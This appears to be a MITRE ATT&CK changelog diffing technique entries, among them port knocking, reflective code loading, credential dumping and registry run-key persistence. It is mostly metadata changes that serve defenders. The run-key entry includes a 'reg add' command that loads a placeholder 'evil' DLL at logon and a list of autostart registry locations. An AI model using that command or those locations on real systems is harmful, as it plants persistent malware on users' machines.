| a separate configuration on non-volatile storage to load af | | a separate configuration on non-volatile storage to load af |
| ter device reset. Adversaries can inspect the configuration | | ter device reset. Adversaries can inspect the configuration |
| files to reveal information about the target network and its | | files to reveal information about the target network and its |
| layout, the network device and its software, or identifying | | layout, the network device and its software, or identifying |
| legitimate accounts and credentials for later use. Adversa | | legitimate accounts and credentials for later use. Adversa |
| ries can use common management tools and protocols, such as | | ries can use common management tools and protocols, such as |
| Simple Network Management Protocol (SNMP) and Smart Install | | Simple Network Management Protocol (SNMP) and Smart Install |
| (SMI), to access network configuration files. (Citation: US- | | (SMI), to access network configuration files.(Citation: US-C |
| CERT TA18-106A Network Infrastructure Devices 2018) (Citatio | | ERT TA18-106A Network Infrastructure Devices 2018)(Citation: |
| n: Cisco Blog Legacy Device Attacks) These tools may be used | | Cisco Blog Legacy Device Attacks) These tools may be used t |
| to query specific data from a configuration repository or c | | o query specific data from a configuration repository or con |
| onfigure the device to export the configuration for later an | | figure the device to export the configuration for later anal |
| alysis. | | ysis. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-22 01:45:55.144000+00:00 | 2022-02-17 19:50:46.948000+00:00 |
| description | Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.
Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. | Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.
Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. |
| x_mitre_detection | Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration. (Citation: US-CERT TA18-068A 2018) | Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration.(Citation: US-CERT TA18-068A 2018) |
[T1095] Non-Application Layer Protocol
Current version: 2.1
|
|
|---|
| t | Adversaries may use a non-application layer protocol for com | t | Adversaries may use a non-application layer protocol for com |
| munication between host and C2 server or among infected host | | munication between host and C2 server or among infected host |
| s within a network. The list of possible protocols is extens | | s within a network. The list of possible protocols is extens |
| ive.(Citation: Wikipedia OSI) Specific examples include use | | ive.(Citation: Wikipedia OSI) Specific examples include use |
| of network layer protocols, such as the Internet Control Mes | | of network layer protocols, such as the Internet Control Mes |
| sage Protocol (ICMP), transport layer protocols, such as the | | sage Protocol (ICMP), transport layer protocols, such as the |
| User Datagram Protocol (UDP), session layer protocols, such | | User Datagram Protocol (UDP), session layer protocols, such |
| as Socket Secure (SOCKS), as well as redirected/tunneled pr | | as Socket Secure (SOCKS), as well as redirected/tunneled pr |
| otocols, such as Serial over LAN (SOL). ICMP communication | | otocols, such as Serial over LAN (SOL). ICMP communication |
| between hosts is one example.(Citation: Cisco Synful Knock E | | between hosts is one example.(Citation: Cisco Synful Knock E |
| volution) Because ICMP is part of the Internet Protocol Sui | | volution) Because ICMP is part of the Internet Protocol Suit |
| te, it is required to be implemented by all IP-compatible ho | | e, it is required to be implemented by all IP-compatible hos |
| sts; (Citation: Microsoft ICMP) however, it is not as common | | ts.(Citation: Microsoft ICMP) However, it is not as commonly |
| ly monitored as other Internet Protocols such as TCP or UDP | | monitored as other Internet Protocols such as TCP or UDP an |
| and may be used by adversaries to hide communications. | | d may be used by adversaries to hide communications. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
| x_mitre_network_requirements | True | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-21 19:41:49.412000+00:00 | 2022-02-17 15:38:54.578000+00:00 |
| description | Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution)
Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications. | Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications. |
[T1003] OS Credential Dumping
Current version: 2.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 19:55:01.922000+00:00 | 2022-03-08 21:00:53.436000+00:00 |
| x_mitre_data_sources[1] | Process: Process Access | Process: OS API Execution |
| x_mitre_data_sources[2] | Command: Command Execution | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | File: File Access | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[4] | Windows Registry: Windows Registry Key Access | File: File Access |
| x_mitre_data_sources[5] | Active Directory: Active Directory Object Access | Command: Command Execution |
| x_mitre_data_sources[6] | Network Traffic: Network Traffic Flow | Windows Registry: Windows Registry Key Access |
| x_mitre_data_sources[7] | Network Traffic: Network Traffic Content | Process: Process Access |
| x_mitre_data_sources[8] | Process: OS API Execution | Active Directory: Active Directory Object Access |
[T1027] Obfuscated Files or Information
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-20 16:33:13.472000+00:00 | 2022-03-11 16:45:38.033000+00:00 |
| x_mitre_data_sources[0] | Command: Command Execution | Process: Process Creation |
| x_mitre_data_sources[3] | Process: Process Creation | Command: Command Execution |
[T1555.005] Credentials from Password Stores: Password Managers
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-06-21 17:58:03.269000+00:00 | 2022-03-25 13:18:55.310000+00:00 |
| external_references[2]['url'] | https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf | https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf |
| x_mitre_data_sources[0] | Process: OS API Execution | Command: Command Execution |
| x_mitre_data_sources[1] | File: File Access | Process: Process Access |
| x_mitre_data_sources[2] | Process: Process Access | Process: OS API Execution |
| x_mitre_data_sources[3] | Command: Command Execution | File: File Access |
[T1566] Phishing
Current version: 2.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 17:39:13.604000+00:00 | 2022-01-04 13:57:16.959000+00:00 |
| x_mitre_data_sources[0] | File: File Creation | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Application Log: Application Log Content | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Network Traffic: Network Traffic Flow | File: File Creation |
| x_mitre_data_sources[3] | Network Traffic: Network Traffic Content | Application Log: Application Log Content |
[T1598] Phishing for Information
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-15 03:43:13.134000+00:00 | 2022-03-08 21:57:56.078000+00:00 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Network Traffic: Network Traffic Content |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
[T1205.001] Traffic Signaling: Port Knocking
Current version: 1.1
|
|
|---|
| t | Adversaries may use port knocking to hide open ports used fo | t | Adversaries may use port knocking to hide open ports used fo |
| r persistence or command and control. To enable a port, an a | | r persistence or command and control. To enable a port, an a |
| dversary sends a series of attempted connections to a predef | | dversary sends a series of attempted connections to a predef |
| ined sequence of closed ports. After the sequence is complet | | ined sequence of closed ports. After the sequence is complet |
| ed, opening a port is often accomplished by the host based f | | ed, opening a port is often accomplished by the host based f |
| irewall, but could also be implemented by custom software. | | irewall, but could also be implemented by custom software. |
| This technique has been observed to both for the dynamic ope | | This technique has been observed both for the dynamic openin |
| ning of a listening port as well as the initiating of a conn | | g of a listening port as well as the initiating of a connect |
| ection to a listening server on a different system. The obs | | ion to a listening server on a different system. The observ |
| ervation of the signal packets to trigger the communication | | ation of the signal packets to trigger the communication can |
| can be conducted through different methods. One means, origi | | be conducted through different methods. One means, original |
| nally implemented by Cd00r (Citation: Hartrell cd00r 2002), | | ly implemented by Cd00r (Citation: Hartrell cd00r 2002), is |
| is to use the libpcap libraries to sniff for the packets in | | to use the libpcap libraries to sniff for the packets in que |
| question. Another method leverages raw sockets, which enable | | stion. Another method leverages raw sockets, which enables t |
| s the malware to use ports that are already open for use by | | he malware to use ports that are already open for use by oth |
| other programs. | | er programs. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-21 01:26:31.804000+00:00 | 2022-03-11 18:31:23.996000+00:00 |
| description | Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.
This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.
The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. | Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.
This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.
The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. |
| x_mitre_data_sources[0] | Network Traffic: Network Connection Creation | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Network Traffic: Network Traffic Flow | Network Traffic: Network Connection Creation |
[T1542] Pre-OS Boot
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'SYSTEM'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-22 16:35:54.740000+00:00 | 2022-04-19 02:50:42.074000+00:00 |
| external_references[1]['source_name'] | Wikipedia Booting | ITWorld Hard Disk Health Dec 2014 |
| external_references[1]['description'] | Wikipedia. (n.d.). Booting. Retrieved November 13, 2019. | Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018. |
| external_references[1]['url'] | https://en.wikipedia.org/wiki/Booting | https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html |
| external_references[2]['source_name'] | ITWorld Hard Disk Health Dec 2014 | Wikipedia Booting |
| external_references[2]['description'] | Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018. | Wikipedia. (n.d.). Booting. Retrieved November 13, 2019. |
| external_references[2]['url'] | https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html | https://en.wikipedia.org/wiki/Booting |
| x_mitre_data_sources[0] | Command: Command Execution | Driver: Driver Metadata |
| x_mitre_data_sources[1] | Network Traffic: Network Connection Creation | Process: OS API Execution |
| x_mitre_data_sources[2] | Firmware: Firmware Modification | Drive: Drive Modification |
| x_mitre_data_sources[3] | Driver: Driver Metadata | Firmware: Firmware Modification |
| x_mitre_data_sources[4] | Process: OS API Execution | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[5] | Drive: Drive Modification | Command: Command Execution |
| x_mitre_detection | Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.
Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation. (Citation: ITWorld Hard Disk Health Dec 2014) | Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.
Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | macOS |
[T1055] Process Injection
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 12:30:14.852000+00:00 | 2022-03-08 20:59:21.118000+00:00 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Process: Process Modification |
| x_mitre_data_sources | | Module: Module Load |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Process: Process Modification | |
| x_mitre_data_sources | Module: Module Load | |
[T1620] Reflective Code Loading
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-11-01 18:09:09.670000+00:00 | 2022-04-21 16:21:09.679000+00:00 |
| external_references[1]['source_name'] | Introducing Donut | 00sec Droppers |
| external_references[1]['description'] | The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021. | 0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021. |
| external_references[1]['url'] | https://thewover.github.io/Introducing-Donut/ | https://0x00sec.org/t/super-stealthy-droppers/3715 |
| external_references[3]['source_name'] | Stuart ELF Memory | Mandiant BYOL |
| external_references[3]['description'] | Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021. | Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 4, 2021. |
| external_references[3]['url'] | https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html | https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique |
| external_references[4]['source_name'] | 00sec Droppers | S1 Old Rat New Tricks |
| external_references[4]['description'] | 0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021. | Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021. |
| external_references[4]['url'] | https://0x00sec.org/t/super-stealthy-droppers/3715 | https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/ |
| external_references[5]['source_name'] | Mandiant BYOL | MDSec Detecting DOTNET |
| external_references[5]['description'] | Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 4, 2021. | MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021. |
| external_references[5]['url'] | https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique | https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/ |
| external_references[7]['source_name'] | S1 Old Rat New Tricks | Stuart ELF Memory |
| external_references[7]['description'] | Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021. | Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021. |
| external_references[7]['url'] | https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/ | https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html |
| external_references[8]['source_name'] | MDSec Detecting DOTNET | Introducing Donut |
| external_references[8]['description'] | MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021. | The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021. |
| external_references[8]['url'] | https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/ | https://thewover.github.io/Introducing-Donut/ |
| x_mitre_data_sources[0] | Script: Script Execution | Module: Module Load |
| x_mitre_data_sources[2] | Module: Module Load | Script: Script Execution |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | Joas Antonio dos Santos, @C0d3Cr4zy | |
[T1547.001] Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Current version: 1.1
|
|
|---|
| t | Adversaries may achieve persistence by adding a program to a | t | Adversaries may achieve persistence by adding a program to a |
| startup folder or referencing it with a Registry run key. A | | startup folder or referencing it with a Registry run key. A |
| dding an entry to the "run keys" in the Registry or startup | | dding an entry to the "run keys" in the Registry or startup |
| folder will cause the program referenced to be executed when | | folder will cause the program referenced to be executed when |
| a user logs in. (Citation: Microsoft Run Key) These program | | a user logs in.(Citation: Microsoft Run Key) These programs |
| s will be executed under the context of the user and will ha | | will be executed under the context of the user and will hav |
| ve the account's associated permissions level. Placing a pr | | e the account's associated permissions level. Placing a pro |
| ogram within a startup folder will also cause that program t | | gram within a startup folder will also cause that program to |
| o execute when a user logs in. There is a startup folder loc | | execute when a user logs in. There is a startup folder loca |
| ation for individual user accounts as well as a system-wide | | tion for individual user accounts as well as a system-wide s |
| startup folder that will be checked regardless of which user | | tartup folder that will be checked regardless of which user |
| account logs in. The startup folder path for the current us | | account logs in. The startup folder path for the current use |
| er is <code>C:\Users\\[Username]\AppData\Roaming\Microsoft\W | | r is <code>C:\Users\\[Username]\AppData\Roaming\Microsoft\Wi |
| indows\Start Menu\Programs\Startup</code>. The startup folde | | ndows\Start Menu\Programs\Startup</code>. The startup folder |
| r path for all users is <code>C:\ProgramData\Microsoft\Windo | | path for all users is <code>C:\ProgramData\Microsoft\Window |
| ws\Start Menu\Programs\StartUp</code>. The following run ke | | s\Start Menu\Programs\StartUp</code>. The following run key |
| ys are created by default on Windows systems: * <code>HKEY_ | | s are created by default on Windows systems: * <code>HKEY_C |
| CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</ | | URRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</c |
| code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\C | | ode> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\Cu |
| urrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHINE\Soft | | rrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHINE\Softw |
| ware\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKE | | are\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY |
| Y_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ru | | _LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run |
| nOnce</code> Run keys may exist under multiple hives.(Citat | | Once</code> Run keys may exist under multiple hives.(Citati |
| ion: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6 | | on: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow64 |
| 432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsof | | 32Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft |
| t\Windows\CurrentVersion\RunOnceEx</code> is also available | | \Windows\CurrentVersion\RunOnceEx</code> is also available b |
| but is not created by default on Windows Vista and newer. Re | | ut is not created by default on Windows Vista and newer. Reg |
| gistry run key entries can reference programs directly or li | | istry run key entries can reference programs directly or lis |
| st them as a dependency. (Citation: Microsoft RunOnceEx APR | | t them as a dependency.(Citation: Microsoft RunOnceEx APR 20 |
| 2018) For example, it is possible to load a DLL at logon usi | | 18) For example, it is possible to load a DLL at logon using |
| ng a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWAR | | a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\ |
| E\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v | | Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 |
| 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOn | | /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnce |
| ceEx Mar 2018) The following Registry keys can be used to s | | Ex Mar 2018) The following Registry keys can be used to set |
| et startup folder items for persistence: * <code>HKEY_CURRE | | startup folder items for persistence: * <code>HKEY_CURRENT |
| NT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\U | | _USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Use |
| ser Shell Folders</code> * <code>HKEY_CURRENT_USER\Software\ | | r Shell Folders</code> * <code>HKEY_CURRENT_USER\Software\Mi |
| Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</cod | | crosoft\Windows\CurrentVersion\Explorer\Shell Folders</code> |
| e> * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur | | * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curre |
| rentVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL | | ntVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL_M |
| _MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ | | ACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Us |
| User Shell Folders</code> The following Registry keys can c | | er Shell Folders</code> The following Registry keys can con |
| ontrol automatic startup of services during boot: * <code>H | | trol automatic startup of services during boot: * <code>HKE |
| KEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ | | Y_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ru |
| RunServicesOnce</code> * <code>HKEY_CURRENT_USER\Software\Mi | | nServicesOnce</code> * <code>HKEY_CURRENT_USER\Software\Micr |
| crosoft\Windows\CurrentVersion\RunServicesOnce</code> * <cod | | osoft\Windows\CurrentVersion\RunServicesOnce</code> * <code> |
| e>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersi | | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion |
| on\RunServices</code> * <code>HKEY_CURRENT_USER\Software\Mic | | \RunServices</code> * <code>HKEY_CURRENT_USER\Software\Micro |
| rosoft\Windows\CurrentVersion\RunServices</code> Using poli | | soft\Windows\CurrentVersion\RunServices</code> Using policy |
| cy settings to specify startup programs creates correspondin | | settings to specify startup programs creates corresponding |
| g values in either of two Registry keys: * <code>HKEY_LOCAL | | values in either of two Registry keys: * <code>HKEY_LOCAL_M |
| _MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\ | | ACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ex |
| Explorer\Run</code> * <code>HKEY_CURRENT_USER\Software\Micro | | plorer\Run</code> * <code>HKEY_CURRENT_USER\Software\Microso |
| soft\Windows\CurrentVersion\Policies\Explorer\Run</code> Th | | ft\Windows\CurrentVersion\Policies\Explorer\Run</code> The |
| e Winlogon key controls actions that occur when a user logs | | Winlogon key controls actions that occur when a user logs on |
| on to a computer running Windows 7. Most of these actions ar | | to a computer running Windows 7. Most of these actions are |
| e under the control of the operating system, but you can als | | under the control of the operating system, but you can also |
| o add custom actions here. The <code>HKEY_LOCAL_MACHINE\Soft | | add custom actions here. The <code>HKEY_LOCAL_MACHINE\Softwa |
| ware\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</ | | re\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</co |
| code> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Window | | de> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows |
| s NT\CurrentVersion\Winlogon\Shell</code> subkeys can automa | | NT\CurrentVersion\Winlogon\Shell</code> subkeys can automati |
| tically launch programs. Programs listed in the load value | | cally launch programs. Programs listed in the load value of |
| of the registry key <code>HKEY_CURRENT_USER\Software\Microso | | the registry key <code>HKEY_CURRENT_USER\Software\Microsoft |
| ft\Windows NT\CurrentVersion\Windows</code> run when any use | | \Windows NT\CurrentVersion\Windows</code> run when any user |
| r logs on. By default, the multistring <code>BootExecute</c | | logs on. By default, the multistring <code>BootExecute</cod |
| ode> value of the registry key <code>HKEY_LOCAL_MACHINE\Syst | | e> value of the registry key <code>HKEY_LOCAL_MACHINE\System |
| em\CurrentControlSet\Control\Session Manager</code> is set t | | \CurrentControlSet\Control\Session Manager</code> is set to |
| o <code>autocheck autochk *</code>. This value causes Window | | <code>autocheck autochk *</code>. This value causes Windows, |
| s, at startup, to check the file-system integrity of the har | | at startup, to check the file-system integrity of the hard |
| d disks if the system has been shut down abnormally. Adversa | | disks if the system has been shut down abnormally. Adversari |
| ries can add other programs or processes to this registry va | | es can add other programs or processes to this registry valu |
| lue which will automatically launch at boot. Adversaries ca | | e which will automatically launch at boot. Adversaries can |
| n use these configuration locations to execute malware, such | | use these configuration locations to execute malware, such a |
| as remote access tools, to maintain persistence through sys | | s remote access tools, to maintain persistence through syste |
| tem reboots. Adversaries may also use [Masquerading](https:/ | | m reboots. Adversaries may also use [Masquerading](https://a |
| /attack.mitre.org/techniques/T1036) to make the Registry ent | | ttack.mitre.org/techniques/T1036) to make the Registry entri |
| ries look as if they are associated with legitimate programs | | es look as if they are associated with legitimate programs. |
| . | | |
Dropped Detections:
- DS0009: Process (Process Creation)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020. |
